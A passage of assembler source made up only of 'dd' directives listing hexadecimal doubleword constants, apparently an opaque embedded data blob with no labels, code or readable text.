1E0F94D1h, 215B8125h dd 0AF5832E9h, 523870DBh, 6FCD2A0Fh, 32ABEF19h, 0BE99AF58h dd 74E721C5h, 4EB60049h, 3D4583E5h, 7E728EB8h, 540EDDEh dd 2A7CFE2Ch, 0C33D2826h, 74965CDCh, 79365C29h, 2AF3301Bh dd 4395318Ah, 8C414C11h, 678D2B36h, 0DEF1A425h, 11B59E7Fh dd 0F25951EBh, 3C237FDEh, 552D3A69h, 0FB993ACCh, 955FD9B2h dd 0C4420B2Ah, 5771385Bh, 294844C3h, 7915EECDh, 6D00001Bh dd 9C0783CAh, 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch dd 0FBB6D73Bh, 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h dd 0B6031E0Ch, 0BA8BB0F6h, 9E3DA1Ch, 37E9A893h, 58048B8Fh dd 5ADE79AFh, 0B2FFB6D5h, 0CAF04BE9h, 692043ACh, 8345D3C4h dd 0B6001F44h, 379FB91Ah, 8A400A12h, 0F3302926h, 67D07EBAh dd 0D5B3C523h, 0BC4A8554h, 3F1E4FE9h, 23C77CD0h, 0ED2D5F85h dd 0D7B60030h, 0BF2A3C7Ch, 85BCA846h, 2B943EAAh, 1EE84009h dd 8459A59Dh, 0E105BE1Eh, 1D758A7h, 9C012A8Bh, 0E402B91Bh dd 0D70C0CBEh, 5DF68B01h, 8EB11DBh, 0A8812E6Bh, 1181C600h dd 0E84391AAh, 0FBB2D132h, 294CB7BDh, 0EA1CBA60h, 91AA10AEh dd 111216B0h, 47F091AAh, 860CAC87h, 91377E1Dh, 177DCB83h dd 95AD1695h, 8900001Ah, 0C063A7EEh, 0EF50D693h, 19BA0049h dd 49EA3075h, 5A216528h, 175AFB17h, 430E3093h, 71385CC7h dd 0A2EB8A35h, 205A8064h, 0B6031EE8h, 0FFB79CDAh, 0F88155Ch dd 56F016ADh, 0B5FFE44Bh, 1793B21Dh, 0FFE3B5F5h, 0CBA48FB5h dd 3288A36Dh, 74AEBD4h, 7617819Ah, 8E3567A6h, 0F9BB2E58h dd 42ADBCA7h, 7C96F26h, 3650FE2Ch, 0BCA7F9F2h, 693167D0h dd 50B2A95Fh, 9B2E259h, 0E564ABDDh, 0DC7A5FF8h, 11D1619Ah dd 6EA81E09h, 5FF9CF2Ah, 0DD94B718h, 0CA6E4750h, 5862B04h dd 4CFE2C97h, 66A20A0Bh, 47A85EF9h, 76D96D24h, 0F12953D7h dd 0D366A209h, 0C5598F78h, 0C74285D2h, 19D61BE4h, 0AFCA0000h dd 52FFA0E6h, 8309317h, 345AC541h, 0E98A3571h, 0D89966A4h dd 0D654193Ah, 3A80CD6Dh, 74B2FB99h, 0A5E1A8CBh, 0A9E11BC1h dd 9BB6031Fh, 5CFFF65Dh, 0AD0F8815h, 4AF016h, 0E18F43CFh dd 13C91C1h, 7F2103DBh, 6DCFCB7Dh, 9AB5AF58h, 7EF177A1h dd 44B60095h, 0BB15FEBh, 67CC85A8h, 958C8C36h, 5576B600h dd 14847D38h, 36669F75h, 0D033598Dh, 6FB8E5ACh, 0AACC3FC9h dd 5892BCA8h, 8C276837h, 0C881A360h, 0DF59326Bh, 64A20631h dd 0B9EB420Ah, 77F89ADCh, 19F50266h, 0BEEF3479h, 60D453C5h dd 0A4C42FDBh, 67A14BEDh, 0C0932A18h, 0F46E5CEh, 0E12F89A2h dd 32F9036h, 68C0D946h, 0F48232FBh, 0FA276A0Bh, 2A2119A1h dd 48E3C093h, 0A20DAB5Fh, 3566CB82h, 64E465E3h, 75DEC73Bh dd 86CF6E51h, 0ABCDA00h, 0C73B650Eh, 52DD5BF4h, 9A4E7A33h dd 26E1EC78h, 18DA3C85h, 0ABCE0000h, 56FBA4E2h, 0C2C9713h dd 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h, 3E8CC161h dd 68BEF795h, 59EDA4C7h, 0ADED1FCDh, 97B60320h, 30BAEA51h dd 3A96E4E8h, 0D05FD91Ah, 85CC6CADh, 0B6D07EACh, 0AF58D372h dd 0D2B1E750h, 0AA50EB49h, 36622B49h, 3AB9A2Ch, 0BE99B601h dd 2218268h, 63B5E64Bh, 18BC6342h, 0AFD907A3h, 0B601046Bh dd 0D05D1438h, 8C2C07C7h, 19B52466h, 0A48FBCA9h, 0BC9EF406h dd 35BDA6DCh, 0BDFBBED4h, 2794D3F5h, 0A5175072h, 4F5EE81Eh dd 35571A59h, 6E03EC1Ah, 9D1E8D2Bh, 7D66843Fh, 100996DFh dd 58C58CAFh, 0F903E94Fh, 5DC29380h, 0A6E22442h, 9C5DC293h dd 0C32CDAB3h, 0F25DE9A0h, 4BECD753h, 46809906h, 5DC29442h dd 68A0DA00h, 5A5DC294h, 0F92F18F1h, 4B654949h, 0F197684Bh dd 0E5000017h, 14BF0B42h, 43EC3A7Fh, 75DE6C25h, 0A50E9CD9h dd 0F67DC984h, 632E4FC3h, 97DA7C27h, 0C58CB013h, 0F6BFDE41h dd 943634B0h, 0B6032294h, 0BA03286Eh, 2F743959h, 56F5BAFEh dd 0AB09921Fh, 6950EA10h, 5BB6031Ah, 4AE9CAF0h, 1A7CBCCEh dd 0ED46B603h, 0E454B6F4h, 0FAB6031Ah, 78D57919h, 0C14FE6AAh dd 7FA8F5EEh, 72CD6E39h, 6CE88B34h, 32BDEDAh, 6F03A4B6h dd 0C258312Ah, 45E8DB79h, 0BFA8E184h, 8B64214Eh, 6EFE2D5Fh dd 6BC4BCAEh, 0F23F54BFh, 0E5211A53h, 0A3F6FD7Fh, 3530A664h dd 52173CE3h, 783154CDh, 79208C40h, 0D6AF0CECh, 1740h dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h, 881E53F4h dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h, 8D5FCF5Bh dd 3223F7Bh, 58C705B6h, 0D80EB5E7h, 9B1851F7h, 0BACC1682h dd 0B6031A8Fh, 0AA2CDA75h, 76B836BAh, 0A7EE8DA3h, 0E048217Ah dd 3BFA997Ah, 42785118h, 0D396BB24h, 349EF2Bh, 0DB9EB4B6h dd 0AA854556h, 755E840Eh, 0A2899D4h, 6FC9E24Fh, 1ECC77D8h dd 15BF65DCh, 0BCFCEA5Dh, 32014B6h, 49E2B603h, 1AFC7EE4h dd 4328589Fh, 0A0E761B7h, 3CB603AAh, 0D0CCCE57h, 1F147401h dd 0B25357F1h, 631B603h, 726092h, 0BABB0000h, 8DE1CD30h dd 0FA3E439Fh, 95318C2Dh, 58AA3B73h, 0ACC22DAFh, 258AC361h dd 739D1BF4h, 93935BD8h, 2FAF58AAh, 0E3DFDB44h, 0A12DF01h dd 40h, 428F9ADCh, 0EA374BCFh, 5FA6654Eh, 5CAF57D7h, 65A743F8h dd 0B5FFD77Ah, 6CC46748h, 0C71C6E5Eh, 307D5682h, 0AA83CE6Fh dd 88AA15B1h, 3E953C5h, 27ED37C9h, 626593F5h, 40F9F12Dh dd 5259DF52h dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 57C315B1h, 0C3D407ABh dd 280148EBh, 0E1205A80h, 0A3B60043h, 0B4DAC669h, 91F27763h dd 3871BEF7h, 2241E24Fh, 0D174DF6Bh, 0A1CF1B98h, 762367h dd 0E236E1B6h, 0CC511C3Dh, 34793053h, 1C81C86Bh, 0DC5BC4B1h dd 0D5779D59h, 0B60075D5h, 0BF1484AFh, 2A49AAF6h, 0CB6A3563h dd 75FD3D4Fh, 6CC7B600h, 0E98C3773h, 7D37FD41h, 44E97FD2h dd 928B9C01h, 1B374B9h, 23FA0CBAh, 0E1BCA8A1h, 0D2F9036h dd 6ACEDF44h, 0DD1C3FE0h, 971CF5B0h, 8FCA684Bh, 0AEE78122h dd 0C4E563B5h, 0ED34DF48h, 6159E309h, 4234DF49h, 0D4C56A23h dd 4FF3912h, 0B8F1949Bh, 0EBA2C162h, 0F4B1DD46h, 64FEDD6h dd 852E3192h, 0B776151Ch, 9822D891h, 34DF49A0h, 4AD0C962h dd 9E034AE9h, 0E604BF1Dh, 875E75A4h, 0C6E44F3Bh, 0DA7EBFDDh dd 2475BA93h, 86A50EF4h, 64A62647h, 3B875E24h, 635C351Eh dd 88C5653Eh, 0A8CB3452h, 0A36BBCE1h, 3B875E67h, 9893135Dh dd 0B24423C3h, 1EC5FD9h, 1B410B94h, 87A8A9E1h, 78B09B3Bh dd 49DD94B7h, 0ADDF05A3h, 3B87A96Dh, 0D6D2FC57h, 0CD3B87A8h dd 6EBFE4A1h, 0BA65B39Ch, 0CC4DD29Bh, 9537D368h, 422FAF1Eh dd 11FF4BE4h, 93AAE3C7h, 49EF1B50h, 0A10E47E6h, 2FD25D59h dd 61C2A952h, 0DBF3B5Ah, 522FD20Dh, 47635CF7h, 0D1ABEF19h dd 0BE99522Fh, 0E06A907Ah, 0F6A813AAh, 8C1385EEh, 0DF05A1E8h dd 0F01A5FF4h, 522EFDB8h, 9477A18Ah, 0FA276A0Bh, 6104EF37h dd 8A2B8028h, 12A8E183h, 5A3B93B1h, 344C1837h, 93DA7AEBh dd 8EA30CBAh, 4EF866CBh, 522FB94Ah, 0F2261F38h, 0A7E29011h dd 81229B7Ah, 1793DA7Ah, 5CC188ACh, 24C279DBh, 0D7D39FE2h dd 352B6558h, 61A82545h, 0ED15E37h, 0AB0FCA5h, 0D78BB8F0h dd 29A18A58h, 5593CFE3h, 0EBB4E47Ch, 0BCDA0049h, 0D7710E0Ah dd 7496F458h, 58D77134h, 0DB4C250Eh, 7BACF1B8h, 49EC573Dh dd 6302A300h, 3456FC2Ah, 58D770F4h, 503365CEh, 0B4BB64D1h dd 0EA42D891h, 0BBA04CFEh, 1C19h, 5DFF2200h, 0AE0E8F14h dd 684BF115h, 0D82E8AC7h, 0B5FFF661h, 31B20823h, 47h, 3C30BA14h dd 0B4F41615h, 8EAF57D7h, 3452DA5h, 0B9DB44D4h, 49E9CAF0h dd 7EA3E68Ch, 0B2D3342Dh, 3F79B2FFh, 0D269CB4Ch, 0EA7BA234h dd 6766D8FBh, 0FA912B31h, 0ECB600B2h, 0D1296003h, 6318705Ah dd 98A6F24Eh, 14C6BBFh, 0E65DFF20h, 0ED5386C0h, 8E31B5FFh dd 2F78A5E0h, 0F434D236h, 0B7AAB303h, 0A708BE05h, 8369CF8Ah dd 5B363679h, 0CAE28B1h, 0DBFC4AFCh, 0D39E439Bh, 0E9814ADCh dd 996814Fh, 73972C80h, 6C77B3D5h, 0E24DB15Bh, 0BADE081h dd 0BE31BBE1h, 0A927BCE2h, 63E462B6h, 21B8037Fh, 4CEFD0F6h dd 7F1E8105h, 5E549236h, 6744F124h, 13139Eh, 29600700h dd 581D329Dh, 8EC761C2h, 0BEFB9738h, 0EBA6C768h, 71A1D05Fh dd 0A6099DD0h, 0D27DC984h, 4AFFBB2h, 0A922861h, 2672B6D0h dd 0A50B603h, 3559BA2Dh, 0BEFA3370h, 57D870A8h, 32892BAFh dd 0F4677294h, 135DB5FFh, 41F11081h, 6706D0ABh, 0BE1B1783h dd 0BA25C1BAh, 0EC57D39Ah, 469C0148h, 42C91434h, 4CEC8B4Dh dd 0DF0940E3h, 0F3277C01h, 9D532C8Fh, 91000012h, 0C86BBFF6h dd 0F758EEABh, 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh dd 5B16389Bh, 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60326E0h dd 0E7BF64A2h, 0AED80EB5h, 0B5FFF39Bh, 0B718CE69h, 0E84BDF9Ah dd 0A10E4Bh, 488F145Dh, 96BBC263h, 46A957D3h, 9CCD6B22h dd 6DD447D2h, 0BAFF94FBh, 0F2B2F575h, 4278B5FFh, 278CC161h dd 68C9A2F6h, 3D89CC61h, 2B8FD92h, 6ACE87A1h, 0AF9C30F9h dd 3DE9C28Fh, 0AB36808Bh, 3DE942BCh, 0ACFAB3D2h, 84296003h dd 99D4755Eh, 12950314h, 5BED19A2h, 0C35678CDh, 0EC6E9CB7h dd 6A9D37DDh, 45AF0904h, 0DBF3B5Ah, 0C355E90Dh, 27635CF7h dd 7018D97Ch, 0CAA3F439h, 0CB70A465h, 2DEED1Fh, 8BA4C9FEh dd 29DA7D5Dh, 0DBA407DFh, 11C4h, 42D891B8h, 0BD094CE1h dd 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h, 2B4BF432h dd 0DD7F2066h, 8EAD1694h, 1DB43C7h, 327C3C7h, 0DC7B81B6h dd 57D76BA6h, 85D77DAFh, 0A51D9E5Dh, 8E8A34E1h, 74AF580Ch dd 0B2D25DDBh, 1B41AFFBh, 580BA9E1h, 0D0DBFAFh, 0F7AF580Ch dd 29A18A5Ch, 50574427h, 0FE49EF00h, 87C1E55Eh, 0B6032FF9h dd 59BA60CBh, 1451FE3Fh, 0F4C0EF3Bh, 135FCA18h, 180FFh dd 1CBA4000h, 57D6AEEAh, 7DBB94AFh, 0CABF08AAh, 0D70500BAh dd 73DCAF57h, 0CBDDBA96h, 1CBAEC6Fh, 57D6AEEAh, 1855F5AFh dd 0D740829Bh, 0D748C641h, 3F59BAF2h, 3C791576h, 0E7C8B5FCh dd 0F8180DB4h, 0CAE8F413h, 35EF15DFh, 30000000h, 0D208ABE7h dd 9B185DF1h, 4D002182h, 3A61B7E0h, 0D70500BAh, 54FFAF57h dd 612C4DB6h, 87115800h, 0BADDBA9Ch, 24743959h, 0B794DD7Bh dd 2FDFE0C5h, 0FA000000h, 83C5ABE7h, 0AF57D787h, 0CF9D27Dh dd 0D70500BAh, 73DCAF57h, 3559BA96h, 0BEFA3370h, 1CBACFB4h dd 57D6AEEAh, 7DBB94AFh, 0EADF96B2h, 0E8F4E0C5h, 0EF15DFCAh dd 4Eh, 0DB4E730h, 0EABB9FD9h, 3357597h, 240FAF58h, 982CF9AAh dd 0E04D0427h, 0BA3A61B7h, 57D70500h, 0B654FFAFh, 3D622B4Dh dd 0BA674CECh, 0D9E19930h, 55F317DCh, 0AD86971Ch, 0FF7AE10Bh dd 0C5321752h, 7DDFE0h, 0D83B0000h, 79B2FFBAh, 59BAF43Fh dd 0FE2F7439h, 124EEDBAh, 0FE8216D4h, 0AF459DEBh, 6E83AF2Eh dd 228D3912h, 0ECA9C500h, 3B7DAEF3h, 500BAF0h, 0DCAF57D7h dd 8E1356FBh, 0BAC7A49Dh, 0D6AEEA1Ch, 0BB94AF57h, 0FF88F77Dh dd 0A290DA52h, 8E14D046h, 5F1F1BA3h, 4AE5AF58h, 0E10FB551h dd 585F63A7h, 0CCF621AFh, 0AF585ECCh, 101B9DB6h, 723B59BAh dd 9ED3742Dh, 549673A5h, 1C81C86Bh, 0DF86AD0Bh, 0FFFFFE77h dd 86B5E7FAh, 17B3ACE9h, 0AA9AACC5h, 0AAEA40Fh, 8C73A6E0h dd 0E651B603h, 0F5BCDFC0h, 0C840EED1h, 38C7ABEh, 0F6EF48B6h dd 0CE6FD8A2h, 0F5355773h, 0CFB6038Bh, 0EE184664h, 0B6038BAAh dd 8C0E0ABCh, 5BF4B603h, 9B08A08Bh, 38C5953h, 65284AB6h dd 88C16738h, 951E952Bh, 70319A06h, 74677662h, 0E913B914h dd 0B60393B1h, 0D7D37593h, 0ADB60393h, 0CD0FA982h, 21h dd 0D75EA656h, 2645AF57h, 0E621DB6Fh, 0A5AF57D6h, 0EC1ECC77h dd 0B5FFDFF9h, 59DA60CBh, 9Dh, 3859BA7Ch, 30642375h, 7E2D5F8Bh dd 44B5FFE6h, 0B0D43FEBh, 2B692B18h, 8C654BD6h, 49EFD03Eh dd 6507A800h, 7715FE2Ch, 8009FA3Eh, 0C973972Ch, 0BCABE4CAh dd 886B9FB8h, 0B619ADE4h, 0C952DF96h, 8C2AD06Bh, 0E14E0323h dd 59E660C8h, 2BC35727h, 5AF9DA00h, 0C7B0F99Bh, 1A3AA543h dd 3B5AC553h, 0B66E5672h, 4162E5D0h, 0EBFC0h, 0DD94B300h dd 0C49E649h, 3A7315BEh, 6A2F43ECh, 9FD273DCh, 25ED8C0Bh dd 52FD4904h, 86297D30h, 0B81BAFE6h, 0DE4EDC95h, 2ABEFA0Ch dd 4684B603h, 155CFFD9h, 0D86567F1h, 0D9983A15h, 1033EC5Fh dd 8955D459h, 0EA656C4Fh, 0EF49D7AAh, 97E1AB74h, 5B1A145Ch dd 0F1BEFA34h, 2F8F1B52h, 12DF3033h, 3ADAh, 0B5E76D00h dd 0CCFE8EEFh, 2A032374h, 0FC434AFCh, 1601B600h, 3C751889h dd 6F2645EEh, 793058BBh, 0D6B5E334h, 0AE5CE755h, 0A90BAD1Ch dd 6EBC97BCh, 0E8205A80h, 0DABCA90Bh, 0FFFC2771h dd 0B3FE9F52h, 0C6443D6Eh, 5048F218h, 32AF57D7h, 5F5BED19h dd 25AF57D7h, 6C01AE0Ah, 4D428429h, 56AF57D7h, 902B7F36h dd 0D963873Ch, 0B6031964h, 0B0F5997Ah, 50FE3A73h, 0B8E0C3E7h dd 0F48EB5F1h, 135FCA18h, 10CFFh, 0B7E74000h, 0E193CAEDh dd 74A50A43h, 0CF32B87Ah, 61BAE7A2h, 0BAAA9F88h, 57D70500h dd 9673DCAFh, 6FCBDDBAh, 0DE36AB2Dh, 0F18D6224h, 0ABE77CA7h dd 9C791308h, 180DB4E7h, 57F1D2F8h, 0F4919A1Eh, 15DFCAE8h dd 0F2B7DCC7h, 4894A6h, 0E7AF0000h, 77D380ABh, 0EDCBEA8Bh dd 0E938CC2h, 0C1BAF395h, 2AA7E325h, 0B29DAF58h, 1CBAECD9h dd 55DA9FB3h, 1312D444h, 0D5AF57D7h, 260B3883h, 307819D9h dd 0BA40250Eh, 0DF92B31Ch, 59FF5259h, 0E0C52B10h, 29DFh dd 0ABE7FA00h, 0BA1308h, 0AF57D705h, 0BA9673DCh, 1059FFDDh dd 0FE3A4CEAh, 0C4AF57D6h, 0BAE6CD6Bh, 9EF0E030h, 8B2D7E8Eh dd 0E8F40D1Eh, 0EF15DFCAh, 21h, 0DB4E730h, 500BA18h, 0FFAF57D7h dd 0DDBA7754h, 321752FFh, 713459BAh, 0DF594227h, 1Fh, 0DB4E7FAh dd 296E9FD9h, 0F72468ECh, 0BA7AA1h, 0AF57D705h, 0BA9673DCh dd 1752FFDDh, 0DFE0C532h, 0FFFFFEEBh, 0DA1CBAFAh, 0E5A772B7h dd 4E4A742Ch, 34AF58C1h, 74B9F093h, 59EE4A23h, 609A40FBh dd 0B6040439h, 5CFA200Bh, 0E7AECD36h, 615961BAh, 42B60404h dd 0B19A6C21h, 31672250h, 86CF6Eh, 7FAB1687h, 403CDCDh dd 179CB7B6h, 403D5D7h, 991AF1B6h, 73FFAD99h, 244814h dd 0A6D30000h, 0AF57D75Eh, 3C99F600h, 81AF1D9h, 8A302960h dd 58D23870h, 0F7210AAFh, 0FE4C0528h, 0CF75h, 0B5E75000h dd 51B2D80Eh, 60ED9B33h, 0A351146Dh, 51986ECAh, 33B600AAh dd 6301E218h, 12A82A2h, 60017111h, 217AA790h, 61B0F1A9h dd 0CCA50D16h, 76B7D57Eh, 7109DD8h, 3F65812Eh, 0FFE08D8Dh dd 5CDC77B5h, 34D269CBh, 0E226608Eh, 0A0B5FFDFh, 0E0272177h dd 86BCAB22h, 0DC069E74h, 61B75828h, 6D5674DFh, 9F0086CFh dd 0AE6FB4FDh, 0F711B50Eh, 0C356D66Ah, 0E8CBFF58h, 0EBF50D44h dd 0D0056B2Dh, 0B0DE0494h, 1CB8F00Ah, 0A18AC356h, 0CC85A877h dd 0FFB6D57Eh, 0D1C0E5C9h, 7BC4E7E5h, 0BB0h, 7ECC85A4h dd 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h, 388EC364h, 7314FEB3h dd 2747E83Eh, 0D173DC6Ah, 82A10298h, 7DEF7FCBh, 32DCFCBh dd 0C877B5B6h, 0F09D5CFFh, 7B54113Dh, 0D6FD3D4Fh, 6CC7AF57h dd 0D6752E73h, 90B27717h, 6E4750DDh, 0B2FFE8C1h, 0D6DD46EFh dd 0CA8FEB7h, 12DFD210h, 27F7h, 0B5E74800h, 93AED80Eh dd 71B5FFE4h, 99BF20C6h, 3AEB58D0h, 6BD4521Bh, 9B1C81C8h dd 22648239h, 0BCA7F197h, 5F44C26Dh, 723B59BAh, 0F3BCFC2Dh dd 41EF1B5Eh, 57D70307h, 0B056C1AFh, 57D71216h, 0D147F0AFh dd 0D7A2916Bh, 6301AF57h, 892B9C2Ah, 0EC6E9432h, 0C449A609h dd 3C55317h, 0B6041895h, 0BD26C46Fh, 0AE54D29Bh, 1C8F2745h dd 76335A0Eh, 0DB44E9C2h, 9D1BF4BDh, 0CA18F496h, 59FF135Fh dd 40000001h, 87C1B7E7h, 0AF57D783h, 8FDD641h, 0DA1CBAh dd 6B587E43h, 70B7B1E7h, 71AF5882h, 0DDBA2318h, 0E7EC6FCBh dd 791308ABh, 85B4E79Ch, 0E32761E9h, 0A1AF57D6h, 50459D76h dd 24240E11h, 0F8EDDAB3h, 1430BA13h, 0F30C42ADh, 33E753ABh dd 0F0CA6197h, 86F0FCB8h, 471715DFh, 28000000h, 743959BAh dd 742F6324h, 0A7C72856h, 0D6E820EAh, 56D2AF57h, 0F8380485h dd 8C2C07C7h, 500BAA7h, 0FFAF57D7h, 0DDBA7754h, 0AEEA1CBAh dd 94AF57D6h, 64294ABBh, 84CD6B34h, 0BE21C5A7h, 5E45D39Ah dd 2FDFh, 1CBAFA00h, 57D6AEEAh, 153394AFh, 7235635Ch, 0BA8663DCh dd 57D70500h, 9673DCAFh, 59FFDDBAh, 6F09EA10h, 8A0F926h dd 0BE21C523h, 5358D09Dh, 0DFCAE8F4h, 3AEF15h, 0E7300000h dd 0BA180DB4h, 9D91DD30h, 0B5E3D854h, 151A1DAFh, 4FE8AF58h dd 5F1A389Bh, 0DDBAD2D9h, 321752FFh, 4FDFE0C5h, 3B000000h dd 0B7BCC7B1h, 0A02D4E2Dh, 25A73FBCh, 3F64B4FEh, 180DB4E7h dd 0D70500BAh, 73DCAF57h, 0DA1CBA96h, 31929EE4h, 206C0AFh dd 0C8AF583Eh, 8FD0D4A2h, 73DC2E03h, 0BA503F25h, 33703559h dd 5CF1BEFAh, 547ED19h, 0AF57D705h, 0DFC454FFh, 9EDFE0C5h dd 0FAFFFFFEh, 0D80EB5E7h, 31A7BAEh, 38EE49B6h, 591C3192h dd 642D50DFh, 723B5D46h, 4AEB5C26h, 79B1CBFFh, 4BB6031Ah dd 0E9B03AE0h, 4850695Eh, 10DA49EFh, 0B603A51Ah, 7FA4E989h dd 6BC885A6h, 2AD598BAh, 0F912081h, 0B2DAFD5h, 0B2D74B6Fh dd 3B5C5C66h, 0F802B603h, 0B6033AC0h, 0FE59A982h, 5260C1BAh dd 1474B666h, 3E81h, 36115B00h, 0BF3424C8h, 0A9760A22h dd 0E7F05851h, 5EA66AB1h, 45AF57D7h, 0CEE48E26h, 0DA145DFBh dd 1BF49565h, 0D07E618Fh, 0EBBC0395h, 5E000000h, 58929630h dd 7311AF58h, 22A4F53Ah, 0E784AF09h, 0ADE886B5h, 94B61700h dd 803AE0D9h, 0B5FFD99Dh, 6D244467h, 0E4045674h, 0D9A592BAh dd 957EE434h, 0C768BEF7h, 0C647ECA5h, 9339ED56h, 0D2460330h dd 0AB571514h, 0A644EFBCh, 0B0561F3Dh, 34642D4Fh, 1E3FA04Eh dd 0ADF2B7DBh, 8A15837Ch, 0BD7EA3EAh, 0D806A41Fh, 0AB576AAEh dd 0CECA7CBCh, 0B4BCAB56h, 48E04B9Bh, 98D718A2h, 0AADC356h dd 24FD226Bh, 0C8E14E03h, 99912BDFh, 6BC35699h, 0D033D7C0h dd 0E486E7A2h, 0FAE50FA9h, 2B94125Bh, 24668C08h, 0C35698E4h dd 4D4D75DEh, 37C35699h, 385231Ch, 0DE5D144h, 822D5AEh dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh dd 65A5E705h, 5FB60331h, 5CFF3219h, 74178815h, 626893Dh dd 0F1BCDE4Fh, 0E845C4A7h, 541D4047h, 0D68A66D6h, 2A6D12DFh dd 0B6000000h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h, 4CF315DFh dd 36B5FFE1h, 4E56901Dh, 6AB5FFE1h, 26122081h, 0C11477DCh dd 50h, 0EB5E75Ah, 3751B2D8h, 87F8317Eh, 1700ADE4h, 0DDDC4781h dd 8DA6B5FFh, 58DC7F20h, 0FFDDEA2Eh, 0D499B9B5h, 9A403912h dd 9F54DF50h, 6CCCF62Dh, 571E3DE6h, 68D341CAh, 783D51B2h dd 0AD902A30h, 97BCA7F9h, 12CC0EBCh, 955940F4h, 0EDCAB0F8h dd 0FFFB30BAh, 0D8A0397Bh, 0AB4C3150h, 0EE14B209h, 1AB65C6Ch dd 9D0E136Fh, 0E563B5F0h, 0B5FFF076h, 548B024Ch, 0AC2F0DCBh dd 44C517B3h, 2B4232A7h, 35DF47D1h, 0C23D7D8Fh, 2C07B600h dd 0CE17A8Ch, 7ADA7677h, 9CE325C1h, 667D1F3Fh, 75A760CDh dd 69EE18CEh, 5B83C779h, 43ACCAF0h, 0D4C56A2Fh, 79949436h dd 0C56E83C7h, 0E0A9CC53h, 633ABC5Ah, 93DA7A24h, 5DD7BE5Bh dd 783154DBh, 60C74240h, 0D0B17225h, 6D0h, 5EECA5C4h, 891D58F5h dd 0FF4B0226h, 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh dd 0F1933C8Ah, 0A2C162B8h, 1DCF5FEBh, 332AFEBh, 0E85795B6h dd 0F09D5CFFh, 463F68B5h, 692048D9h, 486C3BBDh, 0F26584EAh dd 38B2DF23h, 38701BE1h, 2D4BB452h, 0C1733464h, 0D0A4C7Ah dd 9E564D6Dh, 0AAEF84E5h, 55BEE40Eh, 1A53F134h, 0DAB8495h dd 391C0FBh, 4A982B6h, 14B4FD9Bh, 0F3244B88h, 4D5A2B88h dd 41000006h, 78DB6F26h, 0A7089EDBh, 0D172C881h, 1A2F8BDh dd 12992D60h, 0DF92B35Fh, 0B46E84Bh, 397014BFh, 6A2342EDh dd 689248DCh, 0B6033330h dd 0E76FD412h, 0AED80EB5h, 0B6031A67h, 3DB0FF79h, 76DCE7AEh dd 97331C22h, 718B0B2Ch, 0B6031139h, 0E137200Bh, 0CE87A102h dd 24CC8C1Ah, 562F8CF3h, 5ECh, 0AAF0B9E0h, 0E5216409h dd 0D3571E3Ah, 387C270h, 74B2FFA0h, 2748CAEFh, 0D373DC6Ah dd 85A7089Eh, 0B6D57ECCh, 2933ABFFh, 3349B9Fh, 42369B6h dd 0D80EB5E7h, 31A63AEh, 0A9F621B6h, 0EF1950F8h, 0F324C3C1h dd 0A113ECCFh, 95000005h, 0C46FBBF2h, 0F35CEAAFh, 258E1C55h dd 55FE4C09h, 0A62D7934h, 135EFF13h, 470A2C97h, 753C60C3h dd 0A6EF8E31h, 24668460h, 0B60333E4h, 0FFB398DEh, 1788155Ch dd 2FF03D74h, 47D8450Ch, 0E8C16E2Bh, 1B98D177h, 0D77DBDCFh dd 0EC47AF57h, 0C453DC49h, 343BE451h, 24C25811h, 44D49DBBh dd 0ACF1B8DBh, 57D76BAAh, 5B1638AFh, 64214DD6h, 0A199233Fh dd 63AF57D7h, 4CD542C8h, 0D6C2C600h, 9780AF57h, 0CE57C4BEh dd 890CA4C7h, 0D6DCC9C1h, 9B04827Bh, 561F39F8h, 171216B0h dd 47F0AF58h, 3D60C16Eh, 9883DA95h, 29020673h, 318A2A9Dh dd 0EF846F95h, 841405AAh, 61B42h, 0E14EE9B6h, 6DADDF05h dd 57B60006h, 6AAABCFCh, 6B60006h, 57B804ADh, 783C7C35h dd 1477FD8Ch, 3C6Bh, 0B5E7BC00h, 8B2D80Eh, 0AF57D710h dd 40E859F2h, 345AF09h, 0B60004ECh, 36307DD6h, 0B60004EEh dd 3C80218Ah, 0B7FCB5D3h, 2064066h, 0C0B60005h, 7955C157h dd 9C1477F8h, 0F9h, 155CFFA7h, 3B761788h, 98EE68F6h, 0C089AFABh dd 0D76E7B36h, 587F75B5h, 0BE44FAFh, 7F6DADDFh, 0FC57AF58h dd 1950F3BCh, 0C0680B94h, 98F97A79h, 2FAF279Eh, 73B52F63h dd 2DDF6B44h, 0AF587E2Ch, 0DD7CD477h, 45DB9DFAh, 9A05817Ah dd 54193AFBh, 0A81414B6h, 45EEAF58h, 0D646C76Ch, 0A50A43E5h dd 7FFE7A74h, 0F5BE667Ch, 2D5CEE1Ch, 17B6003Fh, 0E1DA9FB4h dd 9B2E2A5h, 0E17EABDDh, 3A60BCAAh, 0AAE18880h, 0EC2C5EBCh dd 0D6BCAAE0h, 56C26D7Dh, 3D5B8FA8h, 0AAE18F8Bh, 5EDA75BCh dd 470A2B94h, 535329A3h, 0AE730F03h, 89C4A54h, 0D741BDB2h dd 0ECA1C26Dh, 7CAE8E3Ch, 2C9516ECh, 3C8h, 56D49DBCh, 810540EDh dd 0F7337A1Eh, 2763264Ch, 1096DB7Ch, 0B2CE68Bh, 3F5FC046h dd 0E98B3472h, 9AB91AA0h, 15D757D3h, 335B7F3h, 0E04F8DB6h dd 97135EFFh, 0FA40092Ch, 0C3B5E7DDh, 57D781B9h, 0FFE843AFh dd 0BBFA81CBh, 21DC9278h, 0C4DB6DF7h, 0BEB6003Eh, 98D20895h dd 0A4B931B9h, 63E5334Bh, 0B600A223h, 4F4BD4BFh, 14771D53h dd 0DFBAh, 5CFF8D00h, 83FCAFF4h, 57F14179h, 0DE2803AFh dd 0A145C2B6h, 582B2367h, 5D36E1AFh, 5AEC0AD0h, 